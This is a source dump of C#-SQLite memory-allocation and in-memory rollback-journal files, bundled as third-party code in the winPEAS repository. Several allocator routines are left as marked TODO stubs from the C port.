SQLITE_OK; #endif } /* ** State information local to the memory allocation subsystem. */ public class Mem0Global { /* Number of free pages for scratch and page-cache memory */ public int nScratchFree; public int nPageFree; public sqlite3_mutex mutex; /* Mutex to serialize access */ /* ** The alarm callback and its arguments. The mem0.mutex lock will ** be held while the callback is running. Recursive calls into ** the memory subsystem are allowed, but no new callbacks will be ** issued. */ public sqlite3_int64 alarmThreshold; public dxalarmCallback alarmCallback; // (*alarmCallback)(void*, sqlite3_int64,int); public object alarmArg; /* ** Pointers to the end of sqlite3GlobalConfig.pScratch and ** sqlite3GlobalConfig.pPage to a block of memory that records ** which pages are available. */ public int[] aScratchFree; public int[] aPageFree; public Mem0Global() { } public Mem0Global( int nScratchFree, int nPageFree, sqlite3_mutex mutex, sqlite3_int64 alarmThreshold, dxalarmCallback alarmCallback, object alarmArg, int alarmBusy, int[] aScratchFree, int[] aPageFree ) { this.nScratchFree = nScratchFree; this.nPageFree = nPageFree; this.mutex = mutex; this.alarmThreshold = alarmThreshold; this.alarmCallback = alarmCallback; this.alarmArg = alarmArg; this.alarmBusy = alarmBusy; this.aScratchFree = aScratchFree; this.aPageFree = aPageFree; } } static Mem0Global mem0 = new Mem0Global( 0, null, 0, null, null, 0, null, null ); //#define mem0 GLOBAL(struct Mem0Global, mem0) /* ** Initialize the memory allocation subsystem. */ static int sqlite3MallocInit() { if ( sqlite3GlobalConfig.m.xMalloc == null ) { sqlite3MemSetDefault(); } mem0 = new Mem0Global(); //memset(&mem0, 0, sizeof(mem0)); if ( sqlite3GlobalConfig.bCoreMutex ) { mem0.mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MEM ); } if ( sqlite3GlobalConfig.pScratch != null && sqlite3GlobalConfig.szScratch >= 100 && sqlite3GlobalConfig.nScratch >= 0 ) { Debugger.Break(); // TODO -- // int i; // sqlite3GlobalConfig.szScratch = ROUNDDOWN8(sqlite3GlobalConfig.szScratch-4); // mem0.aScratchFree = (u32*)&((char*) sqlite3GlobalConfig.pScratch) // [ sqlite3GlobalConfig.szScratch* sqlite3GlobalConfig.nScratch]; // for(i=0; i< sqlite3GlobalConfig.nScratch; i++){ mem0.aScratchFree[i] = i; } // mem0.nScratchFree = sqlite3GlobalConfig.nScratch; } else { sqlite3GlobalConfig.pScratch = null; sqlite3GlobalConfig.szScratch = 0; } if ( sqlite3GlobalConfig.pPage != null && sqlite3GlobalConfig.szPage >= 512 && sqlite3GlobalConfig.nPage >= 1 ) { int i; int overhead; int sz = ROUNDDOWN8( sqlite3GlobalConfig.szPage ); int n = sqlite3GlobalConfig.nPage; overhead = ( 4 * n + sz - 1 ) / sz; sqlite3GlobalConfig.nPage -= overhead; mem0.aPageFree = new int[sqlite3GlobalConfig.szPage * sqlite3GlobalConfig.nPage]; // mem0.aPageFree = (u32*)&((char*) sqlite3GlobalConfig.pPage) // [ sqlite3GlobalConfig.szPage* sqlite3GlobalConfig.nPage]; for ( i = 0 ; i < sqlite3GlobalConfig.nPage ; i++ ) { mem0.aPageFree[i] = i; } mem0.nPageFree = sqlite3GlobalConfig.nPage; } else { sqlite3GlobalConfig.pPage = null; sqlite3GlobalConfig.szPage = 0; } return sqlite3GlobalConfig.m.xInit( sqlite3GlobalConfig.m.pAppData ); } /* ** Deinitialize the memory allocation subsystem. */ static void sqlite3MallocEnd() { if ( sqlite3GlobalConfig.m.xShutdown != null ) { sqlite3GlobalConfig.m.xShutdown( sqlite3GlobalConfig.m.pAppData ); mem0 = new Mem0Global();//memset(&mem0, 0, sizeof(mem0)); } } /* ** Return the amount of memory currently checked out. */ static sqlite3_int64 sqlite3_memory_used() { int n = 0, mx = 0; sqlite3_int64 res; sqlite3_status( SQLITE_STATUS_MEMORY_USED, ref n, ref mx, 0 ); res = (sqlite3_int64)n; /* Work around bug in Borland C. Ticket #3216 */ return res; } /* ** Return the maximum amount of memory that has ever been ** checked out since either the beginning of this process ** or since the most recent reset. */ static sqlite3_int64 sqlite3_memory_highwater( int resetFlag ) { int n = 0, mx = 0; sqlite3_int64 res; sqlite3_status( SQLITE_STATUS_MEMORY_USED, ref n, ref mx, 0 ); res = (sqlite3_int64)mx; /* Work around bug in Borland C. Ticket #3216 */ return res; } /* ** Change the alarm callback */ static int sqlite3MemoryAlarm( dxalarmCallback xCallback, //void(*xCallback)(void pArg, sqlite3_int64 used,int N), object pArg, sqlite3_int64 iThreshold ) { sqlite3_mutex_enter( mem0.mutex ); mem0.alarmCallback = xCallback; mem0.alarmArg = pArg; mem0.alarmThreshold = iThreshold; sqlite3_mutex_leave( mem0.mutex ); return SQLITE_OK; } #if !SQLITE_OMIT_DEPRECATED /* ** Deprecated external interface. Internal/core SQLite code ** should call sqlite3MemoryAlarm. */ static int sqlite3_memory_alarm( dxalarmCallback xCallback, //void(*xCallback)(void *pArg, sqlite3_int64 used,int N), object pArg, sqlite3_int64 iThreshold ) { return sqlite3MemoryAlarm( xCallback, pArg, iThreshold ); } #endif /* ** Trigger the alarm */ static void sqlite3MallocAlarm( int nByte ) { Debugger.Break(); // TODO -- //dxCallback xCallback; //void (*xCallback)(void*,sqlite3_int64,int); //sqlite3_int64 nowUsed; //object pArg; //if( mem0.alarmCallback==0 ) return; //xCallback = mem0.alarmCallback; //nowUsed = sqlite3StatusValue(SQLITE_STATUS_MEMORY_USED); //pArg = mem0.alarmArg; //mem0.alarmCallback = null; //sqlite3_mutex_leave(mem0.mutex); //xCallback(pArg, nowUsed, nByte); //sqlite3_mutex_enter(mem0.mutex); //mem0.alarmCallback = xCallback; //mem0.alarmArg = pArg; } /* ** Do a memory allocation with statistics and alarms. Assume the ** lock is already held. */ static int mallocWithAlarm( int n, ref byte[] pp ) { int nFull; byte[] p; Debug.Assert( sqlite3_mutex_held( mem0.mutex ) ); nFull = sqlite3GlobalConfig.m.xRoundup( n ); sqlite3StatusSet( SQLITE_STATUS_MALLOC_SIZE, n ); if ( mem0.alarmCallback != null ) { int nUsed = sqlite3StatusValue( SQLITE_STATUS_MEMORY_USED ); if ( nUsed + nFull >= mem0.alarmThreshold ) { sqlite3MallocAlarm( nFull ); } } p = sqlite3GlobalConfig.m.xMalloc( nFull ); if ( p == null && mem0.alarmCallback != null ) { sqlite3MallocAlarm( nFull ); p = sqlite3GlobalConfig.m.xMalloc( nFull ); } if ( p != null ) { nFull = sqlite3MallocSize( p ); sqlite3StatusAdd( SQLITE_STATUS_MEMORY_USED, nFull ); } pp = p; return nFull; } /* ** Allocate memory. This routine is like sqlite3_malloc() except that it ** assumes the memory subsystem has already been initialized. */ static byte[] sqlite3Malloc( int n ) { byte[] p = null; if ( n <= 0 || n >= 0x7fffff00 ) { /* A memory allocation of a number of bytes which is near the maximum ** signed integer value might cause an integer overflow inside of the ** xMalloc(). Hence we limit the maximum size to 0x7fffff00, giving ** 255 bytes of overhead. SQLite itself will never use anything near ** this amount. The only way to reach the limit is with sqlite3_malloc() */ p = null; } else if ( sqlite3GlobalConfig.bMemstat ) { sqlite3_mutex_enter( mem0.mutex ); mallocWithAlarm( n, ref p ); sqlite3_mutex_leave( mem0.mutex ); } else { p = sqlite3GlobalConfig.m.xMalloc( n ); } return p; } /* ** This version of the memory allocation is for use by the application. ** First make sure the memory subsystem is initialized, then do the ** allocation. */ static byte[] sqlite3_malloc( int n ) { #if !SQLITE_OMIT_AUTOINIT if ( sqlite3_initialize() != 0 ) return null; #endif return sqlite3Malloc( n ); } /* ** Each thread may only have a single outstanding allocation from ** xScratchMalloc(). We verify this constraint in the single-threaded ** case by setting scratchAllocOut to 1 when an allocation ** is outstanding clearing it when the allocation is freed. */ #if !SQLITE_THREADSAFE && !NDEBUG static int scratchAllocOut = 0; #endif /* ** Allocate memory that is to be used and released right away. ** This routine is similar to alloca() in that it is not intended ** for situations where the memory might be held long-term. This ** routine is intended to get memory to old large transient data ** structures that would not normally fit on the stack of an ** embedded processor. */ byte[] sqlite3ScratchMalloc( int n ) { byte[] p = null; Debug.Assert( n > 0 ); #if !SQLITE_THREADSAFE && !NDEBUG /* Verify that no more than one scratch allocation per thread ** is outstanding at one time. (This is only checked in the ** single-threaded case since checking in the multi-threaded case ** would be much more complicated.) */ Debug.Assert( scratchAllocOut == 0 ); #endif if ( sqlite3GlobalConfig.szScratch < n ) { goto scratch_overflow; } else { sqlite3_mutex_enter( mem0.mutex ); if ( mem0.nScratchFree == 0 ) { sqlite3_mutex_leave( mem0.mutex ); goto scratch_overflow; } else { Debugger.Break(); // TODO -- //int i; //i = mem0.aScratchFree[--mem0.nScratchFree]; //i *= sqlite3GlobalConfig.szScratch; //sqlite3StatusAdd(SQLITE_STATUS_SCRATCH_USED, 1); //sqlite3StatusSet(SQLITE_STATUS_SCRATCH_SIZE, n); //sqlite3_mutex_leave(mem0.mutex); //p = (void*)&((char*) sqlite3GlobalConfig.pScratch)[i]; //assert( (((u8*)p - (u8*)0) & 7)==0 ); } } #if !SQLITE_THREADSAFE && !NDEBUG scratchAllocOut = p != null ? 1 : 0; #endif return p; scratch_overflow: if ( sqlite3GlobalConfig.bMemstat ) { sqlite3_mutex_enter( mem0.mutex ); sqlite3StatusSet( SQLITE_STATUS_SCRATCH_SIZE, n ); n = mallocWithAlarm( n, ref p ); if ( p != null ) sqlite3StatusAdd( SQLITE_STATUS_SCRATCH_OVERFLOW, n ); sqlite3_mutex_leave( mem0.mutex ); } else { p = sqlite3GlobalConfig.m.xMalloc( n ); } #if !SQLITE_THREADSAFE && !NDEBUG scratchAllocOut = ( p != null ) ? 1 : 0; #endif return p; } static void //sqlite3ScratchFree( ref byte[][] p ) { p = null; } static void //sqlite3ScratchFree( ref byte[] p ) { if ( p != null ) { #if !SQLITE_THREADSAFE && !NDEBUG /* Verify that no more than one scratch allocation per thread ** is outstanding at one time. (This is only checked in the ** single-threaded case since checking in the multi-threaded case ** would be much more complicated.) */ Debug.Assert( scratchAllocOut == 1 ); scratchAllocOut = 0; #endif Debugger.Break(); // TODO -- //if( sqlite3GlobalConfig.pScratch==null // || p< sqlite3GlobalConfig.pScratch // || p>=(void*)mem0.aScratchFree ){ // if( sqlite3GlobalConfig.bMemstat ){ // int iSize = sqlite3MallocSize(p); // sqlite3_mutex_enter(mem0.mutex); // sqlite3StatusAdd(SQLITE_STATUS_SCRATCH_OVERFLOW, -iSize); // sqlite3StatusAdd(SQLITE_STATUS_MEMORY_USED, -iSize); // sqlite3GlobalConfig.m.xFree(p); // sqlite3_mutex_leave(mem0.mutex); // }else{ // sqlite3GlobalConfig.m.xFree(p); // } //}else{ // int i; // i = (int)((u8*)p - (u8*)sqlite3GlobalConfig.pScratch); // i /= sqlite3GlobalConfig.szScratch; // Debug.Assert(i>=0 && i< sqlite3GlobalConfig.nScratch ); // sqlite3_mutex_enter(mem0.mutex); // Debug.Assert(mem0.nScratchFree< (u32)sqlite3GlobalConfig.nScratch ); // mem0.aScratchFree[mem0.nScratchFree++] = i; // sqlite3StatusAdd(SQLITE_STATUS_SCRATCH_USED, -1); // sqlite3_mutex_leave(mem0.mutex); //} } } /* ** TRUE if p is a lookaside memory allocation from db */ #if !SQLITE_OMIT_LOOKASIDE static bool isLookaside( sqlite3 db, object p ) { return db != null && p >= db.lookaside.pStart && p < db.lookaside.pEnd; } #else //#define isLookaside(A,B) 0 static bool isLookaside( sqlite3 db, object p ) { return false; } #endif /* ** Return the size of a memory allocation previously obtained from ** sqlite3Malloc() or sqlite3_malloc(). */ static int sqlite3MallocSize( byte[] p ) { return sqlite3GlobalConfig.m.xSize( p ); } int sqlite3DbMallocSize( sqlite3 db, byte[] p ) { Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) ); if ( isLookaside( db, p ) ) { return db.lookaside.sz; } else { return sqlite3GlobalConfig.m.xSize( p ); } } /* ** Free memory previously obtained from sqlite3Malloc(). */ // -- overloads --------------------------------------- static void //sqlite3_free( ref string x ) { x = null; } static void //sqlite3_free( ref T x ) where T : class { x = null; } static void //sqlite3_free( ref byte[] p ) { if ( p == null ) return; if ( sqlite3GlobalConfig.bMemstat ) { sqlite3_mutex_enter( mem0.mutex ); sqlite3StatusAdd( SQLITE_STATUS_MEMORY_USED, -sqlite3MallocSize( p ) ); sqlite3GlobalConfig.m.xFree( ref p ); sqlite3_mutex_leave( mem0.mutex ); } else { Debugger.Break(); // TODO -- sqlite3GlobalConfig.m.xFree(p); } } /* ** Free memory that might be associated with a particular database ** connection. */ // -- overloads --------------------------------------- static void //sqlite3DbFree( sqlite3 db, ref string x ) { Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) ); x = null; } static void //sqlite3DbFree( sqlite3 db, ref byte[] x ) { Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) ); x = null; } static void //sqlite3DbFree( sqlite3 db, ref int[] x ) { Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) ); x = null; } static void //sqlite3DbFree( sqlite3 db, ref StringBuilder x ) { Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) ); x = null; } static void //sqlite3DbFree( sqlite3 db, ref T p ) where T : class { Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) ); p = null; } static void //sqlite3DbFree( sqlite3 db, object p ) { Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) ); if ( isLookaside( db, p ) ) { LookasideSlot pBuf = (LookasideSlot)p; pBuf.pNext = db.lookaside.pFree; db.lookaside.pFree = pBuf; db.lookaside.nOut--; } else { //sqlite3_free( ref p ); } } /* ** Change the size of an existing memory allocation */ static byte[] sqlite3Realloc( byte[] pOld, int nBytes ) { int nOld, nNew; byte[] pNew = null; if ( pOld == null ) { return sqlite3Malloc( nBytes ); } if ( nBytes <= 0 ) { //sqlite3_free( ref pOld ); return null; } if ( nBytes >= 0x7fffff00 ) { /* The 0x7ffff00 limit term is explained in comments on sqlite3Malloc() */ return null; } nOld = sqlite3MallocSize( pOld ); if ( sqlite3GlobalConfig.bMemstat ) { sqlite3_mutex_enter( mem0.mutex ); sqlite3StatusSet( SQLITE_STATUS_MALLOC_SIZE, nBytes ); nNew = sqlite3GlobalConfig.m.xRoundup( nBytes ); if ( nOld == nNew ) { pNew = pOld; } else { if ( sqlite3StatusValue( SQLITE_STATUS_MEMORY_USED ) + nNew - nOld >= mem0.alarmThreshold ) { sqlite3MallocAlarm( nNew - nOld ); } Debugger.Break(); // TODO -- //pNew = sqlite3GlobalConfig.m.xRealloc(pOld, nNew); //if( pNew==0 && mem0.alarmCallback ){ // sqlite3MallocAlarm(nBytes); // pNew = sqlite3GlobalConfig.m.xRealloc(pOld, nNew); //} if ( pNew != null ) { nNew = sqlite3MallocSize( pNew ); sqlite3StatusAdd( SQLITE_STATUS_MEMORY_USED, nNew - nOld ); } } sqlite3_mutex_leave( mem0.mutex ); } else { Debugger.Break(); // TODO --pNew = sqlite3GlobalConfig.m.xRealloc(ref pOld, nBytes); } return pNew; } /* ** The public interface to sqlite3Realloc. Make sure that the memory ** subsystem is initialized prior to invoking sqliteRealloc. */ static byte[] sqlite3_realloc( object pOld, int n ) { #if !SQLITE_OMIT_AUTOINIT if ( sqlite3_initialize() != 0 ) return null; #endif return sqlite3Realloc( (byte[])pOld, n ); } /* ** Allocate and zero memory. */ static byte[] sqlite3MallocZero( int n ) { byte[] p = sqlite3Malloc( n ); if ( p != null ) { //memset(p, 0, n); } return p; } /* ** Allocate and zero memory. If the allocation fails, make ** the mallocFailed flag in the connection pointer. */ static byte[] sqlite3DbMallocZero( sqlite3 db, int n ) { byte[] p = sqlite3DbMallocRaw( db, n ); if ( p != null ) { // memset(p, 0, n); } return p; } /* ** Allocate and zero memory. If the allocation fails, make ** the mallocFailed flag in the connection pointer. ** ** If db!=0 and db->mallocFailed is true (indicating a prior malloc ** failure on the same database connection) then always return 0. ** Hence for a particular database connection, once malloc starts ** failing, it fails consistently until mallocFailed is reset. ** This is an important assumption. There are many places in the ** code that do things like this: ** ** int *a = (int*)sqlite3DbMallocRaw(db, 100); ** int *b = (int*)sqlite3DbMallocRaw(db, 200); ** if( b ) a[10] = 9; ** ** In other words, if a subsequent malloc (ex: "b") worked, it is assumed ** that all prior mallocs (ex: "a") worked too. */ static byte[] sqlite3DbMallocRaw( sqlite3 db, int n ) { byte[] p; Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) ); #if !SQLITE_OMIT_LOOKASIDE if( db ){ LookasideSlot pBuf; if( db.mallocFailed !=0{ return 0; } if( db.lookaside.bEnabled && n<=db.lookaside.sz && (pBuf = db.lookaside.pFree)!=0 ){ db.lookaside.pFree = pBuf.pNext; db.lookaside.nOut++; if( db.lookaside.nOut>db.lookaside.mxOut ){ db.lookaside.mxOut = db.lookaside.nOut; } return (void*)pBuf; } } #else if ( db != null && db.mallocFailed != 0 ) { return null; } #endif p = sqlite3Malloc( n ); if ( null == p && db != null ) { //// db.mallocFailed = 1; } return p; } /* ** Resize the block of memory pointed to by p to n bytes. If the ** resize fails, set the mallocFailed flag inthe connection object. */ static object sqlite3DbRealloc( sqlite3 db, object p, int n ) { return p; // void pNew = 0; //assert( db!=0 ); //assert( sqlite3_mutex_held(db->mutex) ); // if( db.mallocFailed==0 ){ // if( p==0 ){ // return sqlite3DbMallocRaw(db, n); // } // if( isLookaside(db, p) ){ // if( n<=db.lookaside.sz ){ // return p; // } // pNew = sqlite3DbMallocRaw(db, n); // if( pNew ){ // memcpy(pNew, p, db.lookaside.sz); // //sqlite3DbFree(db, p); // } // }else{ // pNew = sqlite3_realloc(p, n); // if( null==pNew ){ ////// db.mallocFailed = 1; // } // } // } // return pNew; } /* ** Attempt to reallocate p. If the reallocation fails, then free p ** and set the mallocFailed flag in the database connection. */ //static void sqlite3DbReallocOrFree(sqlite3 db, object p, int n){ // object pNew; // pNew = "";//sqlite3DbRealloc(db, p, n); // if( pNew ==null){ // //sqlite3DbFree(db,ref p); // } // return pNew; // } /* ** Make a copy of a string in memory obtained from sqliteMalloc(). These ** functions call sqlite3MallocRaw() directly instead of sqliteMalloc(). This ** is because when memory debugging is turned on, these two functions are ** called via macros that record the current file and line number in the ** ThreadData structure. */ //char *sqlite3DbStrDup(sqlite3 db, const char *z){ // char *zNew; // size_t n; // if( z==0 ){ // return 0; // } // n = sqlite3Strlen30(z) + 1; // assert( (n&0x7fffffff)==n ); // zNew = sqlite3DbMallocRaw(db, (int)n); // if( zNew ){ // memcpy(zNew, z, n); // } // return zNew; //} //char *sqlite3DbStrNDup(sqlite3 *db, const char *z, int n){ // char *zNew; // if( z==0 ){ // return 0; // } // assert( (n&0x7fffffff)==n ); // zNew = sqlite3DbMallocRaw(db, n+1); // if( zNew ){ // memcpy(zNew, z, n); // zNew[n] = 0; // } // return zNew; //} #endif /* ** Create a string from the zFromat argument and the va_list that follows. ** Store the string in memory obtained from sqliteMalloc() and make pz ** point to that string. */ static void sqlite3SetString( ref byte[] pz, sqlite3 db, string zFormat, params string[] ap ) { string sz = ""; sqlite3SetString( ref sz, db, zFormat, ap ); pz = Encoding.UTF8.GetBytes( sz ); } static void sqlite3SetString( ref string pz, sqlite3 db, string zFormat, byte[] ap ) { sqlite3SetString( ref pz, db, zFormat, Encoding.UTF8.GetString( ap ) ); } static void sqlite3SetString( ref string pz, sqlite3 db, string zFormat, params string[] ap ) { //va_list ap; string z; va_start( ap, zFormat ); z = sqlite3VMPrintf( db, zFormat, ap ); va_end( ap ); //sqlite3DbFree( db, ref pz ); pz = z; } /* ** This function must be called before exiting any API function (i.e. ** returning control to the user) that has called sqlite3_malloc or ** sqlite3_realloc. ** ** The returned value is normally a copy of the second argument to this ** function. However, if a malloc() failure has occurred since the previous ** invocation SQLITE_NOMEM is returned instead. ** ** If the first argument, db, is not NULL and a malloc() error has occurred, ** then the connection error-code (the value returned by sqlite3_errcode()) ** is set to SQLITE_NOMEM. */ static int sqlite3ApiExit( int zero, int rc ) { sqlite3 db = null; return sqlite3ApiExit( db, rc ); } static int sqlite3ApiExit( sqlite3 db, int rc ) { /* If the db handle is not NULL, then we must hold the connection handle ** mutex here. Otherwise the read (and possible write) of db.mallocFailed ** is unsafe, as is the call to sqlite3Error(). */ Debug.Assert( db == null || sqlite3_mutex_held( db.mutex ) ); if ( /*db != null && db.mallocFailed != 0 || */ rc == SQLITE_IOERR_NOMEM ) { sqlite3Error( db, SQLITE_NOMEM, "" ); //db.mallocFailed = 0; rc = SQLITE_NOMEM; } return rc & ( db != null ? db.errMask : 0xff ); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/mem0_c.cs ================================================ namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2008 October 28 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** ** This file contains a no-op memory allocation drivers for use when ** SQLITE_ZERO_MALLOC is defined. The allocation drivers implemented ** here always fail. SQLite will not operate with these drivers. These ** are merely placeholders. Real drivers must be substituted using ** sqlite3_config() before SQLite will operate. ** ** $Id: mem0.c,v 1.1 2008/10/28 18:58:20 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" /* ** This version of the memory allocator is the default. It is ** used when no other memory allocator is specified using compile-time ** macros. */ #if SQLITE_ZERO_MALLOC /* ** No-op versions of all memory allocation routines */ static void sqlite3MemMalloc(int nByte){ return 0; } static void sqlite3MemFree(object pPrior){ return; } static void sqlite3MemRealloc(object pPrior, int nByte){ return 0; } static int sqlite3MemSize(object pPrior){ return 0; } static int sqlite3MemRoundup(int n){ return n; } static int sqlite3MemInit(object NotUsed){ return SQLITE_OK; } static void sqlite3MemShutdown(object NotUsed){ return; } /* ** This routine is the only routine in this file with external linkage. ** ** Populate the low-level memory allocation function pointers in ** sqlite3GlobalConfig.m with pointers to the routines in this file. */ void sqlite3MemSetDefault(){ static const sqlite3_mem_methods defaultMethods = { sqlite3MemMalloc, sqlite3MemFree, sqlite3MemRealloc, sqlite3MemSize, sqlite3MemRoundup, sqlite3MemInit, sqlite3MemShutdown, 0 }; sqlite3_config(SQLITE_CONFIG_MALLOC, &defaultMethods); } #endif //* SQLITE_ZERO_MALLOC */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/mem1_c.cs ================================================ using System; namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2007 August 14 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** ** This file contains low-level memory allocation drivers for when ** SQLite will use the standard C-library malloc/realloc/free interface ** to obtain the memory it needs. ** ** This file contains implementations of the low-level memory allocation ** routines specified in the sqlite3_mem_methods object. ** ** $Id: mem1.c,v 1.30 2009/03/23 04:33:33 danielk1977 Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" /* ** This version of the memory allocator is the default. It is ** used when no other memory allocator is specified using compile-time ** macros. */ #if SQLITE_SYSTEM_MALLOC /* ** Like malloc(), but remember the size of the allocation ** so that we can find it later using sqlite3MemSize(). ** ** For this low-level routine, we are guaranteed that nByte>0 because ** cases of nByte<=0 will be intercepted and dealt with by higher level ** routines. */ static byte[] sqlite3MemMalloc( int nByte ) { //sqlite3_int64 p; //Debug.Assert(nByte > 0 ); //nByte = ROUND8(nByte); //p = malloc( nByte + 8 ); //if ( p ) //{ // p[0] = nByte; // p++; //} //return (void*)p; return new byte[nByte]; } /* ** Free memory. */ // -- overloads --------------------------------------- static void sqlite3MemFree( ref T x ) where T : class { x = null; } static void sqlite3MemFree( ref string x ) { x = null; } // /* ** Like free() but works for allocations obtained from sqlite3MemMalloc() ** or sqlite3MemRealloc(). ** ** For this low-level routine, we already know that pPrior!=0 since ** cases where pPrior==0 will have been intecepted and dealt with ** by higher-level routines. */ //static void sqlite3MemFree(void pPrior){ // sqlite3_int64 p = (sqlite3_int64*)pPrior; // Debug.Assert(pPrior!=0 ); // p--; // free(p); //} /* ** Like realloc(). Resize an allocation previously obtained from ** sqlite3MemMalloc(). ** ** For this low-level interface, we know that pPrior!=0. Cases where ** pPrior==0 while have been intercepted by higher-level routine and ** redirected to xMalloc. Similarly, we know that nByte>0 becauses ** cases where nByte<=0 will have been intercepted by higher-level ** routines and redirected to xFree. */ static byte[] sqlite3MemRealloc( ref byte[] pPrior, int nByte ) { // sqlite3_int64 p = (sqlite3_int64*)pPrior; // Debug.Assert(pPrior!=0 && nByte>0 ); // nByte = ROUND8( nByte ); // p = (sqlite3_int64*)pPrior; // p--; // p = realloc(p, nByte+8 ); // if( p ){ // p[0] = nByte; // p++; // } // return (void*)p; Array.Resize( ref pPrior, nByte ); return pPrior; } /* ** Report the allocated size of a prior return from xMalloc() ** or xRealloc(). */ static int sqlite3MemSize( byte[] pPrior ) { // sqlite3_int64 p; // if( pPrior==0 ) return 0; // p = (sqlite3_int64*)pPrior; // p--; // return p[0]; return (int)pPrior.Length; } /* ** Round up a request size to the next valid allocation size. */ static int sqlite3MemRoundup( int n ) { return ROUND8( n ); } /* ** Initialize this module. */ static int sqlite3MemInit( object NotUsed ) { UNUSED_PARAMETER( NotUsed ); return SQLITE_OK; } /* ** Deinitialize this module. */ static void sqlite3MemShutdown( object NotUsed ) { UNUSED_PARAMETER( NotUsed ); return; } /* ** This routine is the only routine in this file with external linkage. ** ** Populate the low-level memory allocation function pointers in ** sqlite3GlobalConfig.m with pointers to the routines in this file. */ static void sqlite3MemSetDefault() { sqlite3_mem_methods defaultMethods = new sqlite3_mem_methods( sqlite3MemMalloc, sqlite3MemFree, sqlite3MemRealloc, sqlite3MemSize, sqlite3MemRoundup, (dxMemInit)sqlite3MemInit, (dxMemShutdown)sqlite3MemShutdown, 0 ); sqlite3_config( SQLITE_CONFIG_MALLOC, defaultMethods ); } #endif //* SQLITE_SYSTEM_MALLOC */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/memjournal_c.cs ================================================ using System; using System.Diagnostics; using u32 = System.UInt32; namespace winPEAS._3rdParty.SQLite.src { using sqlite3_int64 = System.Int64; using MemJournal = CSSQLite.sqlite3_file; public partial class CSSQLite { /* ** 2007 August 22 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** ** This file contains code use to implement an in-memory rollback journal. ** The in-memory rollback journal is used to journal transactions for ** ":memory:" databases and when the journal_mode=MEMORY pragma is used. ** ** @(#) $Id: memjournal.c,v 1.12 2009/05/04 11:42:30 danielk1977 Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" /* Forward references to internal structures */ //typedef struct MemJournal MemJournal; //typedef struct FilePoint FilePoint; //typedef struct FileChunk FileChunk; /* Space to hold the rollback journal is allocated in increments of ** this many bytes. ** ** The size chosen is a little less than a power of two. That way, ** the FileChunk object will have a size that almost exactly fills ** a power-of-two allocation. This mimimizes wasted space in power-of-two ** memory allocators. */ //#define JOURNAL_CHUNKSIZE ((int)(1024-sizeof(FileChunk*))) const int JOURNAL_CHUNKSIZE = 4096; /* Macro to find the minimum of two numeric values. */ //#if ! MIN //# define MIN(x,y) ((x)<(y)?(x):(y)) //#endif static int MIN( int x, int y ) { return ( x < y ) ? x : y; } static int MIN( int x, u32 y ) { return ( x < y ) ? x : (int)y; } /* ** The rollback journal is composed of a linked list of these structures. */ public class FileChunk { public FileChunk pNext; /* Next chunk in the journal */ public byte[] zChunk = new byte[JOURNAL_CHUNKSIZE]; /* Content of this chunk */ }; /* ** An instance of this object serves as a cursor into the rollback journal. ** The cursor can be either for reading or writing. */ public class FilePoint { public int iOffset; /* Offset from the beginning of the file */ public FileChunk pChunk; /* Specific chunk into which cursor points */ }; /* ** This subclass is a subclass of sqlite3_file. Each open memory-journal ** is an instance of this class. */ public partial class sqlite3_file { //public sqlite3_io_methods pMethods; /* Parent class. MUST BE FIRST */ public FileChunk pFirst; /* Head of in-memory chunk-list */ public FilePoint endpoint; /* Pointer to the end of the file */ public FilePoint readpoint; /* Pointer to the end of the last xRead() */ }; /* ** Read data from the in-memory journal file. This is the implementation ** of the sqlite3_vfs.xRead method. */ static int memjrnlRead( sqlite3_file pJfd, /* The journal file from which to read */ byte[] zBuf, /* Put the results here */ int iAmt, /* Number of bytes to read */ sqlite3_int64 iOfst /* Begin reading at this offset */ ) { MemJournal p = (MemJournal)pJfd; byte[] zOut = zBuf; int nRead = iAmt; int iChunkOffset; FileChunk pChunk; /* SQLite never tries to read past the end of a rollback journal file */ Debug.Assert( iOfst + iAmt <= p.endpoint.iOffset ); if ( p.readpoint.iOffset != iOfst || iOfst == 0 ) { int iOff = 0; for ( pChunk = p.pFirst ; ALWAYS( pChunk != null ) && ( iOff + JOURNAL_CHUNKSIZE ) <= iOfst ; pChunk = pChunk.pNext ) { iOff += JOURNAL_CHUNKSIZE; } } else { pChunk = p.readpoint.pChunk; } iChunkOffset = (int)( iOfst % JOURNAL_CHUNKSIZE ); int izOut = 0; do { int iSpace = JOURNAL_CHUNKSIZE - iChunkOffset; int nCopy = MIN( nRead, ( JOURNAL_CHUNKSIZE - iChunkOffset ) ); Buffer.BlockCopy( pChunk.zChunk, iChunkOffset, zOut, izOut, nCopy ); 